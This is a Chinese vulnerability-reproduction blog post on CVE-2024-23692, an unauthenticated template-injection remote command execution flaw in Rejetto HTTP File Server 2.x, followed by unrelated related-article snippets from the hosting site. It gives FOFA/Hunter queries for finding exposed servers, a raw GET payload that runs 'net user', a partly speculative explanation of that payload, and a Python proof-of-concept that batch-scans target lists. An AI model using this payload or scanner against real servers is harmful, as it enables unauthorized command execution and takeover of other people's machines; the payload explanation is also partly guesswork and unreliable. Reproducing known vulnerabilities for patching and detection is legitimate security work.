【漏洞复现】Rejetto HTTP文件服务器——远程命令执行(CVE-2024-23692)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

Rejetto HTTP文件服务器是一个轻量级的HTTP服务器软件,它允许用户在本地计算机上快速搭建一个文件共享服务。其 2.x系列 存在CVE-2024-23692远程命令执行漏洞,攻击者可在无需登陆的情况下利用模板注入执行任意命令,从而控制服服务器。

漏洞复现

1)信息收集
fofa:app="HFS"
hunter:app.name="HTTP File Server"
在这里插入图片描述
巧合是上帝默默操控世界的方式。
在这里插入图片描述
2)构造数据包

GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host:ip

代码解释:

/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

这个payload实际上是一个经过编码的命令,让我们更详细地分析其各个组成部分:

  1. 编码前原始命令

    • 原始命令是这样的:cmd=net user &search=xxx%url:password
    • 这里cmd代表命令,net user是Windows系统中查看用户账户的命令。
    • &search=xxx%url:password部分是一个搜索条件。
  2. URL编码

    • %0A是换行符\n的URL编码形式。
    • %25是百分号%的URL编码形式,所以%25xxx%25代表%xxx%
  3. 脚本或命令行工具语法

    • {.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}这部分是一个特定脚本或命令行工具的语法,用于执行命令并设置参数。
    • .exec是执行命令的标志。
    • {.?cmd.}是一个动态替换为实际命令的占位符。
    • timeout=15设置了命令执行的超时时间限制为15秒。
    • out=abc.指定了输出结果应该被写入到以abc为前缀的文件中,但具体文件扩展名未知。
  4. 输出结果

    • RESULT:{.?n.}{.?n.}{.^abc.}这部分指定了输出结果的格式。
    • {.?n.}可能是用于输出变量或特定值的占位符。
    • {.^abc.}可能表示将输出追加到之前提到的以abc为前缀的文件中。
  5. 分隔符

    • ====用作分隔符,以区分输出中的不同部分。

这个payload可能是用于在远程服务器或网络设备上执行命令,获取用户列表,并搜索包含特定字符串的用户账户。
在这里插入图片描述
在回显中看到了用户名,命令被执行,漏洞存在。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import http.client
import argparse
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
import ssl

# 定义红色和重置终端输出格式的常量,用于高亮显示漏洞提示
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    """
    检查给定URL是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)。
    
    :param url: 待检查的URL字符串。
    """
    try:
        # 忽略HTTPS证书验证错误,以进行漏洞测试
        # 忽略不安全的HTTPS请求警告
        ssl._create_default_https_context = ssl._create_unverified_context

        # 解析URL以获取主机、方案和路径信息
        # 解析URL
        parsed_url = urlparse(url)
        host = parsed_url.netloc
        scheme = parsed_url.scheme
        path = parsed_url.path if parsed_url.path else '/'

        # 构造利用漏洞的攻击路径
        # 构造完整的攻击URL路径
        attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

        # 根据URL的方案(HTTP或HTTPS)创建连接对象
        # 根据URL的协议类型,选择合适的连接方式
        if scheme == "https":
            conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())
        else:
            conn = http.client.HTTPConnection(host)

        # 发送GET请求到构造的攻击路径
        # 发送请求
        conn.request("GET", attack_path)
        response = conn.getresponse()

        # 读取并解码响应数据
        data = response.read().decode('utf-8')

        # 检查响应状态码是否为200且数据中是否包含'Administrator',以判断漏洞是否存在
        if response.status == 200 and 'Administrator' in data:
            print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692){RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")

        # 关闭HTTP连接
        conn.close()
    except Exception as e:
        # 打印在检测过程中发生的任何异常
        print(f"URL [{url}] 在检测过程中发生错误: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检测函数。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检测目标地址是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 确保URL以HTTP或HTTPS开头,否则添加HTTP
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        # 调用漏洞检测函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 读取文件中的每行作为URL,逐个检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以HTTP或HTTPS开头,否则添加HTTP
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


多少事,从来急,天地转,光阴迫,一万年太久,只争朝夕。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/802812.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

最新vite脚手架配置ts-node工具

在使用最新的vite脚手架进行vue组件开发时,编写的ts文件工具函数的测试,除了应用到组件中进行页面测试,也可以使用ts-node工具进行单独的测试。 在使用最新版本的vite脚手架,生成的tsconfig配置会分出多个配置:tsconf…

【postgresql】时间函数和操作符

日期/时间操作符 加减操作符: 和 - 可以用于日期、时间、时间戳和时间间隔的加减操作。 SELECT 2024-01-01::date INTERVAL 1 day as "date"; ; -- 结果:2024-01-02SELECT 2024-01-01 12:00:00::timestamp - INTERVAL 2 hours as "…

类和对象的简述(c++篇)

开局之前,先来个小插曲,放松一下: 让我们的熊二来消灭所有bug 各位,在这祝我们: 放松过后,开始步入正轨吧。爱学习的铁子们: 目录: 一类的定义: 1.简述: 2…

leetcode简单题26 N.118 杨辉三角 rust描述

// 动态规划 pub fn generate(num_rows: i32) -> Vec<Vec<i32>> {let mut triangle: Vec<Vec<i32>> vec![];for i in 0..num_rows {let mut row vec![1; (i 1) as usize];for j in 1..i as usize {row[j] triangle[(i - 1) as usize][(j - 1)]…

使用阿里云镜像转存的 Harbor 国内镜像源(不定期更新)

目录 Harbor Chart 1.15.0Harbor Chart 1.14.3Harbor Chart 1.13.4 【注】主要用于 helm Charts 安装 Harbor 时自定义镜像地址。 Charts 库&#xff1a;https://artifacthub.io/packages/helm/harbor/harbor Docker 镜像库&#xff1a;https://hub.docker.com/u/goharbor 如果…

十、Java集合 ★ ✔(模块18-20)【泛型、通配符、List、Set、TreeSet、自然排序和比较器排序、Collections、可变参数、Map】

day05 泛型,数据结构,List,Set 今日目标 泛型使用 数据结构 List Set 1 泛型 1.1 泛型的介绍 ★ 泛型是一种类型参数&#xff0c;专门用来保存类型用的 最早接触泛型是在ArrayList&#xff0c;这个E就是所谓的泛型了。使用ArrayList时&#xff0c;只要给E指定某一个类型…

linux的学习(七):读取,函数,正则表达式,文本处理工具cut和awk

##简介 shell编程中的读取&#xff0c;函数&#xff0c;正则表达式&#xff0c;文本处理工具的简单使用 read read&#xff1a;读取控制台的输入 参数&#xff1a; -p&#xff1a;指定读取时的提示符-t&#xff1a;等待读取的时间 脚本例子 编写i.sh脚本&#xff0c;enter…

Android Studio引入ndk编译的so库, 通过jni给Java程序使用

前言 工作要求将一个C老项目的函数用ndk打包成库给安卓同事的java程序调用。 这个任务我debuff拉满&#xff1a; 自己之前从来没接触过安卓开发&#xff0c;问了老板为什么不让安卓开发来干&#xff0c;老板说安卓开发不懂c&#xff0c;公司就我一个是懂c的。。。项目开发年…

自定义短语 - 那些年狠狠惊艳了我们的输入法使用技巧

你是不是每次注册或者登录的时候还在吭哧吭哧地输入你的电话号、邮箱或者昵称&#xff1f; 你是不是在填写各种信息的时候还在一次又一次地输入自己的身份证号、银行卡号或者车牌号&#xff1f; 而我只要输入“mail”&#xff0c;我的候选框里就有6个email号待我挑选&#xf…

css实现前端水印

单处水印 代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Watermark Example</title>&l…

单片机设计_自行车码表(AT89C51, LCD1602, DS1302,霍尔传感器)

想要更多项目私wo!!! 一、电路设计 系统采用51单片机LCD1602液晶DS1302时钟模块霍尔传感器电机按键模块蜂鸣器报警模块设计而成。 产品自带单片机上电复位电路、手动复位电路&#xff08;复位按键&#xff09;、晶振电路&#xff08;给单片机提供时钟周期&#xff09;。 …

Java面试题--JVM大厂篇之深入解析JVM中的Serial GC:工作原理与代际区别

目录 引言&#xff1a; 正文&#xff1a; 一、Serial GC工作原理 年轻代垃圾回收&#xff08;Minor GC&#xff09;&#xff1a; 老年代垃圾回收&#xff08;Major GC或Full GC&#xff09;&#xff1a; 二、年轻代和老年代的区别 年轻代&#xff08;Young Generation&a…

数据库基础-进阶

数据库管理&#xff1a; *sql语句 数据库用来增删改查的语句 *** 备份 数据库的数据进行备份 * 主从复制&#xff0c;读写分离&#xff0c;高可用 原理 数据库的概念和相关的语法和规范&#xff1a; 数据库&#xff1a;组织&#xff0c;存储&#xff0c;管理数据的仓库。 数据…

Python用Pyqt5制作音乐播放器

具体效果如下 需要实现的功能主要的几个有&#xff1a; 1、搜索结果更新至当前音乐的列表&#xff0c;这样播放下一首是搜素结果的下一首 2、自动播放 3、滚动音乐文本 4、音乐进度条 5、根据实际情况生成音乐列表。我这里的是下面的情况&#xff0c;音乐文件的格式是 歌…

Calibration相机内参数标定

1.环境依赖 本算法采用张正友相机标定法进行实现&#xff0c;内部对其进行了封装。 环境依赖为 ubuntu20.04 opencv4.2.0 yaml-cpp yaml-cpp安装方式&#xff1a; &#xff08;1&#xff09;git clone https://github.com/jbeder/yaml-cpp.git #将yaml-cpp下载至本地 &a…

Fastjson解析JSON时key对应的value存在多个英文双引号解决

情景 如上图所示&#xff0c;经常在解析json时会出现因双引号报错的问题。 fastjson解决方案 JSONObject jsonfile JSONObject.parseObject(json, Feature.OrderedField);JSONArray jsonArray jsonfile.getJSONObject("result").getJSONArray("items");…

Linux网络编程-socket套接字使用详解

1.概念 在Linux中&#xff0c;套接字&#xff08;socket&#xff09;是一种通信机制&#xff0c;用于实现不同进程之间或同一主机上的不同线程之间的数据交换。它是网络编程的基础&#xff0c;允许应用程序通过网络进行通信&#xff0c;也可以在同一台机器上的不同进程间进行通…

ajax实时监控input搜索框并给提示词的事实举例的超全版本(上-不用字典树)

前言 感觉前面直接放概念和字典树还是差了点&#xff0c;有的看了概念还是没有思路的&#xff0c;于是写这篇文章来举例子&#xff0c;首先这不不包含字典树的版本&#xff0c;用字典树的版本等下会发。 需要的技术 jsp和ajax简单的理解&#xff0c;做示例的后端框架是sprin…

物流智能锁在物流锁控中的应用设计方案

一、案例介绍与问题剖析 &#xff08;一&#xff09;案例概述 某知名物流企业&#xff0c;拥有广泛的运输网络和多样化的客户群体&#xff0c;涵盖了制造业、零售业等多个领域。然而&#xff0c;随着业务规模的不断扩大&#xff0c;其在货物锁控方面遇到了一系列棘手的问题。…

Java | Leetcode Java题解之第238题除自身以外数组的乘积

题目&#xff1a; 题解&#xff1a; class Solution {public int[] productExceptSelf(int[] nums) {int length nums.length;// L 和 R 分别表示左右两侧的乘积列表int[] L new int[length];int[] R new int[length];int[] answer new int[length];// L[i] 为索引 i 左侧…